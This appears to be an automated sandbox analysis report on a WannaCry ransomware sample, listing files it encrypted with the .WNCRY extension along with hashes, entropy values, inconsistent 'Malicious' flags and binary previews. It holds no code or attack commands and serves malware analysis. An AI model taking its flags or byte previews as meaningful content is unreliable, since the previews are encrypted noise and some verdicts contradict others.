                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16664
                                                                                                                                                                              Entropy (8bit):7.989149017045855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:RhxcKautGjsJN2oZPSnFRR5SZRZ2qnCQoas9sA+femS3pfW3j/+poxq:HxcXuoja2sKnPHSX2zBsXfez3KWu4
                                                                                                                                                                              MD5:73B53428F452DDB83F3D30304C64A2D2
                                                                                                                                                                              SHA1:7F3F12D24047293C17DF37282DAEF59AA96FEADC
                                                                                                                                                                              SHA-256:E1C371087874F6FEEC12C7E4A786FFAB922ED3ED48817686FC045D821ED5A24D
                                                                                                                                                                              SHA-512:EDFBE57DC523822208B3A08EE280D99EBC208C866D92BB616CAB46E83CC74E63EC7AD9CF548B78FF57A958A1DF98AC7E11743B1E4959C606857BEE987D489709
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....R..Y.(,.4. 6.2E.YN)...{.-...S.c</.y.."!x.}z;.Bm.C..1X.:de....T.....'[wG./'.1..o.......1...p...8.Jj...o.*9.u.....U.v+C......P;.r....O....~.`.........HW.b[..U..s[.,`.....Y?t.R.?.d.g....q.hTWE.#X.6`.s..l..3\........V..Xt...C5..Z![..j,..n.w...?.....@......>'..X.D6...+.y...L.).eb{..tnrc*....!G........pV..*.....u...f..b.:jRD[...Y....^B.y.....#..J.........F..9..J......b.c...cDj...t@..................+.'......1.Q....+...9.4G....5r...(.'..m...o..,.d......!.b.6.@~..K..&T....?.J.....;..S.C.V"...UM.hY........0.\.g...[. [..q.......#.82.i.....".<....+...F...Ez..M.f..S.*....|.....:...7.-....^....s....(........7..%.g......).Pg.<_O$........W4;..c..9N.*........8.B...R D..f.." 3U.....w...N<..I.....8e..[...Y.y.\$...,.nu|..+tH.(|.&..;...........C.._EO...6......-.z..go.$..Y...&-.K(.....u...~.`.%4.......`L^.".@.O.b..\lM....bw...?..j,K_...M..mu.B.u.mu...HV....jJ.{7UB....M6.D6+.Z.{..v...02.....t.k.|..1...f.[<\..K.......o...$R;a[DsI.^..;...2. .:

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):33048
                                                                                                                                                                              Entropy (8bit):7.994043870601279
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:ouLrj9APNZNxNckiYlR7QKVlxeM4rL2wAh82+gVxZzZ:zr9APN3xakia7zV8TXgdzZ
                                                                                                                                                                              MD5:F68E80D159D30CE57BA442094B174D2C
                                                                                                                                                                              SHA1:12F23B0E8E8C8F55285540C2C8DD0E766A8D608C
                                                                                                                                                                              SHA-256:2C9550BBA30402CA383E87215DC579672C02066357A8531ECFAF67E91181F9A1
                                                                                                                                                                              SHA-512:3B07B09663EA4D1C90D212DF17EC528E37F88BF1A70399E4314C1687723FAFDCEF83FBD1A1AA698EC6DEFA1ADF89A2CEE177CC613A91C436D899A2A5130D831C
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A.-g;..:s3W..;.9V~.2.!k..?.ih..$05,..|.$..}.VHl...58......m5b|.q........H....W...|..?.M...s...]}x0>.J...h......F..l.1..TN..KD...Z9.X...C........t...u.V....F.\Y.=...#>.$...w......E&.....t..M..S..a=.U.&...{..m..$V.9AF.=.........yp|.-...................v....Bj(D...l..(4R.Aw._....N...Y.......d5.;...X#.!.@...wLi."..N..6..ni-..Qt.Hy...<.u..l..9..4.I....d....$m....B.,x.@@+..8._k.,..-...>-f...9".^tJ>..Q.Q\...p.2j.@.9..4.3:y.............&.?7JXF..T.......w..T...|....fWl'.y.....z...N.....&0.1|N.q<.3K.!..:......(..JU..j.{.R........R...1.,N.jm.>F..W.J......d3.S@U....#..%.G.;3..T.{..1z.....'2y%.L...h]B.Ce#.,M...z...-..}*..d.u.E>E..0"pa.a#/.......Jab..\Fs..g..*....l......4s..k.Sg...z.R...*3.Z.../......C..z.... ..1s..5.2.]...Z#...|.e.M.............F.Q......2TA...m.M..ei/.........R...-..4..U...H.(.Z.D.w....J.dE`Z...."..N[)./.w.7..X..U.1....1.^..G.$sr.=. ....N.>.).:.gb!.......s....0N..A\..e.f.....M..uC-.0....).u.(..^......0..;t.....d;.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28952
                                                                                                                                                                              Entropy (8bit):7.992972055690889
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:caSvgNYJ0Hk8UVqQJMKXhQIxjmcHrTZ4Yw5lz5x4J7WbvfiERtSR8pL:caO0E9JMxaR4zTz4mbte85
                                                                                                                                                                              MD5:6E3FD03FB2BA157400559FDF19CE24FF
                                                                                                                                                                              SHA1:79523BAEF5FD46ABB6C99B7724EE3D1299303FF4
                                                                                                                                                                              SHA-256:54AC1C3F20E951612C68FC9ED0162A8BC962239A48D31C0F163A93B9EA12068F
                                                                                                                                                                              SHA-512:7D08514D1F0BAAD934C75CCEB2FB47555CB249A2F648EC81890BA8C919999E9B2CE92DB4DCE71CF1B3146D9CF05AA0B25EC9E883833F49F3F964A2305BF27ACE
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L;\..C....O=2.^k.(.%7Nf.. ...C.q9(0..!+_.,...w.f]..%.yW^t..T!...?.eh..X.vVA...N..V..ghx.mw..1...4...a.k}..g...K...$U....Xu|....2.s....B..B..~.y`..m......F....QlBT$_.6.<:..{i.....m.....P{H...6....k3.....9$.a..CM....AqIP....6P\.l c$..@...k9..D......p.......Ms...~....c|....:p....W.13..6...X...d._>+.....Pn.G..F(..f.....].cdh.........&..7.n..p%..}.I#H.K....^.D...A.sM.f..A.so...B........y"..h...?...Y.....]....A.[..qU...........(..NW...=.z.|....T`.g^...P.E...[...C..2:.!.:..=!M.k..~We.q:....ZH7....x.i\$.....~.@!.i...5..A.>....0T+...../.......;..B.<...j^....uRP.@..2....Q... ..j.7...P".......P.....SI....o.V.**...Y.Z...4U(1..F.....[......<.......ZKl3..'Y.P........Zn..*.%.._.....`.)^A..o.]...u..f....CX.:p..0/o.......b.8=.,..../..P.x....!...HC..q)...>W.o.../.~.p..F)u.../\.Rw.......3^~.zY.....&.p@..H.c.sc^kMT.(PO. }.8i.9..$R...$....;k...xgw.-(..#...sg4....@.O.......Hw<......w.,..hVn..sB..&..hD:...".g$W..e..n.*.}.......EyUa.U...p.....Iy....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):16777496
                                                                                                                                                                              Entropy (8bit):7.999988907467275
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:393216:BpzVUEvs6qO17LF9+Je16awBFROb9STdBhRjA/ZH7/:XzpvNmUAawBqb9SzhRjwt/
                                                                                                                                                                              MD5:6C21C1718FC232B035040C3CF103C411
                                                                                                                                                                              SHA1:FB70147722F683DF96443CED93E1CABE6E6AA007
                                                                                                                                                                              SHA-256:ABBD381F1FC6798DE2DE849766D569387CA5D7E83736C5205F8E3595DDFDB760
                                                                                                                                                                              SHA-512:3F78B0C97DF4CA2D92884E653611996556DFFB2FC71C4C81A2B38C7A6BDF5D01C0D9BB723E1B8EBA5719B0AD144AB9AA1D148468AA62BA773885D5710400C584
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....6.q..d....u.J..m...!..~Y..zQ...I.[..,.{.......e$;.....t.......\.A.....cz..*.K2;..|fg.og..%[...Vd...-.6.|;GY..?tC..TV...-...*.R...ff....%B.SH....:....G.U.a.X.D.._...T.z.x. ....@5..Y,{.5...1..[..........$.IO|k...........-Q..z...........un./...............+9..p.h.....<^>.t"$..\.HI..&...S.}.K.......i<......X5....i.:4.uG./..f..:....Ez.a.,.3s.\........`.^.....-....`..<<....E..&7;......._..X.%Z(...la..9....).n.e(..F~....9..&mN....U4..4..l....bu..w.........+......!.b`.#?..`.-2.{z.. >..3)lX...H.}1.."C...8A...!.nZ.n.u.>0h.... .j....{..Y....N..u..z..*..@3..P..3.x.4.j....l..k6...^C..n.&kP}m..1..A.a.N....Q...gl.-,..q.v....bS...ou.h.....9......l.F4...Qe`B.1.%.....T..b..S...3h..k.........O.....+L.i?O{......j....B.R.._m..^..+N...[n.._.T.s(...........s~?E...^..d.gTV.?.3....n....w....y.`.iTCy5o.y....a7j......O\..i<.(...V..q...K.^.....Gx.W\EYI.9..J....;.^K...s....T(r....W......C......7.h1.]c.f!t..$7S>...Cr...2.. )..)I...0...xX.....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):164120
                                                                                                                                                                              Entropy (8bit):7.998915612646533
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:BAao51dNF0AdB+j3TlpenwcqRiyth1x/dU/uDbD52/OkbxHtnP+3kILgDy6e9H:ro51CAd0jxp6Kthjzb1/kZhSkILKyJ9H
                                                                                                                                                                              MD5:CB624719022E8FC27A6EA072B26A317B
                                                                                                                                                                              SHA1:9F57002A34DFBB0E89687A5919B0F3AE761280C5
                                                                                                                                                                              SHA-256:5257863BDEC26D9F0289C79029043D4064F604A53B11C0A083E9E43479F7FCDE
                                                                                                                                                                              SHA-512:1A56063F85C196E7498F9AD61B830732023DFA62149555E293A143B3EC3ECCD53B451541E34E9C60BE146CD41EC89AAD41E5D40A728AEA73AF3B55C04689C669
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....Omz ..J%h[.75K.....QF.Cy...o.......'XM..4...*sd.!......^...0....6.y..iAsy..&];.D)\..zp........#.>....SLx$......E.?S......4..O..5..e...(V7b5tm3W...q..2..S._a.0..Q.ssx.L.&%.....gkS....X.."........PM.Y-3..2..j...#X.....7f.....#...YQ....^.%e?w..E..............>.(...|.w{.s.y..\g^...t.....xxt/|=.%.S....~.3. I....[.. .2.T...........^Z..@nM..%..}A..n...rY4.....W..9.......'.....j.T..&.n.Zn.<.?...3.%5.n...4..y...b.O....LN.e.c... ....U./..U.&....<.....=.}..s.v2....n.......p4;.b2.7w....Fa.U.kM(..{...b. ;...M...!..D..'.....=9.....7..Y6Y...8.+....O].\......+|b.2...Z@2..W.D........*..lS.i=....[f..Y....o9}(..l...%.8.c..p.7..$.....%.....k..._Yu...K..9[m^..'...5...*..1.>...kT3GQ<.r.K.^.3.3..T.......zwS.....6.9....J.....r...IB.Y.Pin..$Y.....$......`..>..........&.&|O'.`1.........{..a....ir]DI..}......Xk.M..l].C/......d8... K.x....7.m...J7....9'v.../.m.Y\B?..T..`|...4....{..p...+...Y..U..g....\I..ey5Y.z6.2.fh....*..3.....#.4Ex.x...y...r.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):196888
                                                                                                                                                                              Entropy (8bit):7.999062291133822
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:cBRT7p01P3C8LrPE5BmoB2qas+gvPVQ4A49zD1eJOS:cUf1L74hB/Y4A49zD1eh
                                                                                                                                                                              MD5:5813A2772EA3D01010C1A1391C13A072
                                                                                                                                                                              SHA1:578C41F4C76C791AEF22B06B1C873DD30FA60192
                                                                                                                                                                              SHA-256:C1D3D56CB2AFAFFCF1ECCFDFB68B6F8C411DD5922ABB714389D57AC77B305819
                                                                                                                                                                              SHA-512:EBC5B4A21ABDDCECAA0BE5875AB4B2E9A48714CD9A2F1FC05F0ED9DCF0FD2894EC54F2C22180EDAB9535B4CD55E29C41304DD4943D4DE09AE74A0D14E34E8D99
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......!...{.m..a..'N;...I.in..*..u...)..&....v.~:o.qz...3~........h....]..Y.#.....nY.B..H%[..S|.f...VU...k.?...M.).x....N..b...,1.t.m.lO..N.....h.HY...*7..........X..n}...I.......O:.......<.*..<_...tu.)...,...........*....cK.T.0}.BX'.....E..z.`.............~.7.Nz....Sf...!..}...y.j..fyk-*.gq-........D...V0w...R....../+.].....f.G.....0s[o....a....( O.....7.....?.N...&.`w...>..E...R..L14..(5M..d....7.Y`.D.R..ubN.a...&...<..}Q.;....*.x...gVT.3...z>.M...v..j.a.Qa..........k.d.."./.....2X.V.b..HY...lDa.......}..!.2.1.%5..u....b.-.].........."E...h^.Xc...m.x.R..R......J'=D...#7...lOB#.,.].2....F.N.=g.I....i:...~..AC...h...4y.....Rm...)...,........Y.._s.h2Q........a...y..V0..s.o.&d..jH.......].....B..k|.....ksU..K...&j...9n..2..,Ps.!.4.7.....J..+.$._u.%d$...Kj...x.8. ~.T..R...].i@.......S9....0...L.G...!lM...] ...$..'..<.N.....y........l........r}....#...U..zY7...n..y.....B.RkVW.C x..aX.....S.OD.3.=K.$h|[@....../0.Jp....lD&....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\UEV\Scripts\RegisterInboxTemplates.ps1.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):904
                                                                                                                                                                              Entropy (8bit):7.76769184732792
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEq9J3zjTU++ctcy2TgzRa/Ey9pWhzNLIiSAx6rMMPWBMQgb3PCrNGB6W9YajWT:bkbHwCh2TgzRk6NLGA0PPsPlCXjSaXI
                                                                                                                                                                              MD5:E976ACB27F7F9D11998969E1AE5D4322
                                                                                                                                                                              SHA1:4FA5DB2EF7B71ECE3C3FFBEDC3C5487C4D4DB53B
                                                                                                                                                                              SHA-256:AB4424429C4020729062DF99359E17406B34AEB05A5ED938FA9C81A5C2F6734E
                                                                                                                                                                              SHA-512:47556BAC0644A1F7BFCF04C192ACC161B9E0AF0580C92FF1FED7DF9AE601BFD0BE409D44EC9515BDEB53E3BB8B09AD8C48C339773E7341C60BC8BADB62C3BAF2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....uw..o.{...,..<.QZi._...q..4..$\._....|..7..l.}."...q]l.)....fB.(n.- ..."=...a...F..<.G....C....}.......z!Z.....*...A.......?.#........lq.t3....0......mw.2.........gCa..S(..B4.KR<sB.x}.&..Q.L..@.).W.X.V.9{..Q....K.s......jV@.X...o..51(..Io...Q.....c............+I..c..pq....[...M......d.{..6..sn.j...e.;.ES. ..4..Wi`Y.n..a....,..l4<...xJ.;...DT..bl.I.....p....+......3`?k-..^. 9......`......& .K.|.r...s..Uj.l..c)~0Sn.7t.|......z.'.[..L.....-.X_.4.J.D?.2'.........7y........# ..X............M.v!.+.5.GL:O...NE.k..j......^...@.r.X..#.)E....".+.S.]Vw.yV......1i,6......4.e..t.o-...(..t.a>...........tv...G..l.74l..g.8y.(.1.....=.^..Q..s2.B-......&..k....K.^0h..#..+Y.+..i(._&_.%..b.jA... 4T*.....8..^.C.=%.=...Uj.....\..}@..9.Q*.f.r.p.....gE..;."...#;..L.....8>.......[Z.4.2.7..!..CD`.....Q5../.M|.AGhD$.(....+..H&.K.x....iZ....D.].V..m.@......

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):89816
                                                                                                                                                                              Entropy (8bit):7.998010369835604
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:A/HwFiE7ZtxOkABbE4DvBYd6lH87ik8aNrRxWBGMFECebB7XJLzLjDM7NDvL/olc:Af7o/MxX9isHIik8x/3ex5zLwtzKPlVc
                                                                                                                                                                              MD5:56E82D7665C9A25CA534E51614258355
                                                                                                                                                                              SHA1:D533E61A08727D9570714EDF3079823630621410
                                                                                                                                                                              SHA-256:50086E10A8432DE22B7BADC1F166B1A3B72F3D20AE47D457C08283E543ED8117
                                                                                                                                                                              SHA-512:ED6FA884476F57FE0DC40D5B362CBE5C79D858E7D918F5CF7ADE00AC13E741CF8939EBC20098C7D7BA97EEA8C47B7CFF1957BB5C9A17B4DD25CCCE1CC4A823CB
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......-....edK.9D....EE....9...2..w1]V..&L.K$.q..F..=Q.s8...@....e.....J.m=........)a..cF...n@.....p.s..I.......2.f].H.,o.%{VVz7&..5.A..TZ.e....!.hx a..11.D..>.x..W....Cc.\=.<.=cR..`........^.(.N...{U......0.R......^...,......>.J../4.K..$.B..|_...-..?......]......).....W.{..X[q7^Y...|..m..5..Z..`...<......mO.C}S...G...3.'9..Z..^3.3L...e,.4.e.,}..s...SN.}[mmf./...D.Hr,B,A....5..RMN6..L...<...D.5..{2z.Ru.-..X.[.......Xva......[]. .Pa.'....qL.~[..*..{..@~.p...d..M.........2.!..a..J.c.0T..R......s....!ox..&.O.,C...l..e.~.(....[...m.$h..X.@.1....4._........O.:D.....^.t...[...p(~:.# p..pQ}.p.......EL.....)i...4...i*.....n.)N.~..\1"....h.\.I.zC.xd..!.T..ibx}..*..G...t@.3..!@|w...ni'.v7....?....O..l..._.m..w.d(..@...w.y..f..t.>.D.D`\.*...e.y>....W.._.~.0 .#i%$L.#E...........6(.+...:{aR.K.m..<..`...b.3!N..L&....o.w.2.j .oi..~#.(...r...H..:..=.KP.+.....@..&....Z.l....8..r.4.;..w....?@T....%...D..>\..6.( .I..|~I'.6Y..B.8.....Q...``z}..g.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):44776
                                                                                                                                                                              Entropy (8bit):7.996209019689428
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:Wz/81K/xZG9qCbln+a1Ld2NVzbIT97yRvOH9AV+3OfW8pyZRDp6r1AHzs:WzmCxZG9q2ndGVbItUO9AVpBy316rIzs
                                                                                                                                                                              MD5:0A39D9CB9913B773B5EE53B9AF32C738
                                                                                                                                                                              SHA1:44B7BA88F6126DE8D7DD45A04F7A8B47CFD3C93C
                                                                                                                                                                              SHA-256:134D21057FA514385E333AC2D2861E6E7A912EB2FA1E8325F703AE6EF3E0D19A
                                                                                                                                                                              SHA-512:19C38D12078122E2F978B9BA741F7BAF54F40241B0B69FE7DF0D3206E1386A6955B8386F49C24256CFDCFB91FA6C7FFE9BBD363F64B7FF41D09E338DCA02B7A6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....l......p.....&.....i2g.:.....^.Ji..............x..?$Nor.I...\q.g.pi.......P....s?..BL .z.=...4.Oj..g.....A........?R.:.U....o..$wja.F..y].A.....<..'.y5.+.?.3Tx)$..XN...O..o..B..Q.(.........^.K....__..r.MA..1.\.6..7.}..x.&.....O...4.u...@...L.`............f+[Pz.C..*.O.......xY...A......i.=m..V....g.:.g.C.C.....,.e.8....7......W}$...d....:C.0...z.;..7._.e....n:2.KGG.(...\..#......hig2..7Enbg....kT....P./^......}.S....C<.......F..L6`.(+.> -.Z.. ;".@.w..P...d........3?..YI..X...R.M.%.....-Ou.......t..>c...[....-P..N..`...=b<.......G.r..0K....R.D.7i..kmL..'OT........BN..?..._..1...n.......c.h....T..9.~&U..!...D...]..._Q.Q..<..kY.uj..(0%.~..GK.e.]`i>@.kz.....?.P..%......X.!.+A.K..O.Y..z..).\..Y>.n*aV.P..LR@E$...7......>)...r.....%R$..?.<...{Cp.:8.1.].q.V?;f..5..Qy'..M.Q.(......&4..2.>.l.bt.e..W$.o#.`.......me.#..+...09!>w.......m.}c...08y..V3..0.m..cj.!.@F.v..j...x.8.tU7.M.9.z>.\8.^....,.5..D.u...<.)...;.....i..z..U..f.U.....i.>.l.....

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):29160
                                                                                                                                                                              Entropy (8bit):7.994529101424133
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:t1hFcRvJopcHRxsgM/l/BIjdRaazVe/QmkQABxV9V3ki66Valm729u3l2ejFBlJO:pkuuRxs792XfdmxSDlclm72QqJ
                                                                                                                                                                              MD5:5BA25CBDA2EA94EA1D3BE447B8B07BB8
                                                                                                                                                                              SHA1:27419396BC6E96C91CF8050C0ECFDF9D4713C044
                                                                                                                                                                              SHA-256:915F3774B641E1E768A62E8ED8E318E591CA6333F4FE848D004B4A3CD06916B4
                                                                                                                                                                              SHA-512:525FF32909EE848A1F2949DC4D263C80F9405ED89FD4395458E190FBC77C380DBB91B1D98BDFDBF432E56160BE98DE4A24C46BE22D551347180B8F428390C811
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......Q.^w...<..I.b...D.wo>.<2#*/.n..8...\.B...I.Y.#.kSq/.o..].YZ.y..l.....fkU...._c.w..5.%..........J..+ ...$X.\...........\bC1.|-_].P.h.W...3.Q.C.Y....0m...N.....*O=.............\9..gOh.....&*H..E.x......n.....Z.B....c.\b.D...#;.....9..Pp...;.h.^.W.....p.......8(1_..P..{8..FJ....t.M8.t..a..Pi-..d._.M.3..R.]h.g4.w_z.1U..wh..K!..8.o.E.....K.&.B..-J.V5.`#D_.n_....N......`i3z.$..'.>...H..$fm......w..}...+.[.).{.....at..u....5.{.QI{...H...m.`!X...&..1.W..>rU.6{}....Z..C......8n.5S..5J.A..|w..+25..+...V..{...U......iN.4.!.....a(...1X...."?9M.}..vN....]......(...M..j.y.c..."....T..t.%.j-.....Q..5.o...|..v]...'1O.....!{._`.!.!..Gr..B...J;.~yL..r........!c......../.2,......Z.e. ?.....e/.s....9..+..q<9.Xw@..D.7y..t..v.6Hn@Z4........x.}..".'.z..D(#)a<:w.y .,.U..,>...@.5>.......Y.G...X2....(.P..H.`.oC..Q'1v/}t...vi...%...p...F.EZ.)m .m.A_/..<..2..@%.vXo.t`......4./]Q.J...n.sH.o...d.....U....d._=..1E.1R...p.p...lIg....E.r..W...<W|.S.Q>

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ThirdPartyNotices.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7000
                                                                                                                                                                              Entropy (8bit):7.97345629246944
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:LmwJWKXSmmJ7pUrAodzSQn3Eb8KAFG4bOrgcy:awJtmHEm8KqGOOjy
                                                                                                                                                                              MD5:0678B8CCCED20EA381DBDC376C6429B3
                                                                                                                                                                              SHA1:AE38E3B0FBC6C72D6DDFD60F9A0121A1B55B3DEB
                                                                                                                                                                              SHA-256:D27B7D223B08E86EC03A11FB5B1EB86D2514A0DEFC0E35EB11D24065DE3A32D5
                                                                                                                                                                              SHA-512:411CAED8B1ADD980BB3EA3B6A2159893245D5280980EB63A3071ED123C6FCD3E4823E164026C8FA14F447AED07846A11E3A470D518868C8580A85C62E52D5E26
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!..........(...hM...L.NT.o.....0.c..b...gt.....i...6.G09.;&.&..I.X..V6..NV........x....qhI.!.q...C..qs....o..nv.-T.....r.....s.>uzr.6.+t.T..h.+......>....,....I...."-(..:VnX.:..r.JN..D...Z;.....xC../..1....a......e.~(...2?[...=e5...7...j.W)..Kn+......=.......P."unMe.+.a.9M.h..-...+.ft.A.........Q..x@z.....J.J...}rz.~...m6..4..>..w.z..r.[....v.4. )...$.]....=..(.!5D....L.o.*9.).....B<Q..k..c..V.E.%>....I..YMW....TFzD..t.......5P.......o....3.R...U..NvP..,.]B.].u..........+9Abj6[Rs>I...XI.q....._.Y[..| 5....3Up..p...'Q..4..>.8..v..7...........?..>.9.!..3.f9[1.Bkj....nx.K1PC......?.KA/...>.fB.--....W}....3.....J.d...."I&....{...5.&.Hg|...-.1JQJ...ED...?.A....?.h.G.".X;GOI ;5.6nl8s....Z.....l.......p...}.......n...o...uX.:.~.a..X.Z,.q.-v..w..... ..t...s0p$P...|.@..c.[]..^...m..n.......}D.R.\cQ..:y..RD..+@l...p...C.]G........9</..R.K.s....D..\9.#.[m.....g..dr.6a1Yl9......m...T...s..KC.p....wM._...h....^.u:.v....7.(..i.w..C=C+.

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):11251992
                                                                                                                                                                              Entropy (8bit):7.999983549562755
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:196608:C9ox+KrBfofQ0J1Rf27+9c8XSq1GrwRRvOpVVl1VW1Zr3fnLbHDPJSBVD:C9ox+KrBOpp27+mmEERvObNs1Z7nvD4H
                                                                                                                                                                              MD5:3C9D179785014114AF4C4621D401216C
                                                                                                                                                                              SHA1:FE39B1A061AC745A019447A8C10638B2B961BDD2
                                                                                                                                                                              SHA-256:C4ADB9EA1DF58CAF76CB0C00A8FCDC0F9E2F479BA53C6367574F54DE007F2323
                                                                                                                                                                              SHA-512:D8F13D64C15755BA6142E575E4C956FC61EDE05640D34D2849DBE3736B3197FCA09270423539AEB22C1F1976E191153811A46CADD4F3B839B504D9FAA1B7CB7F
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
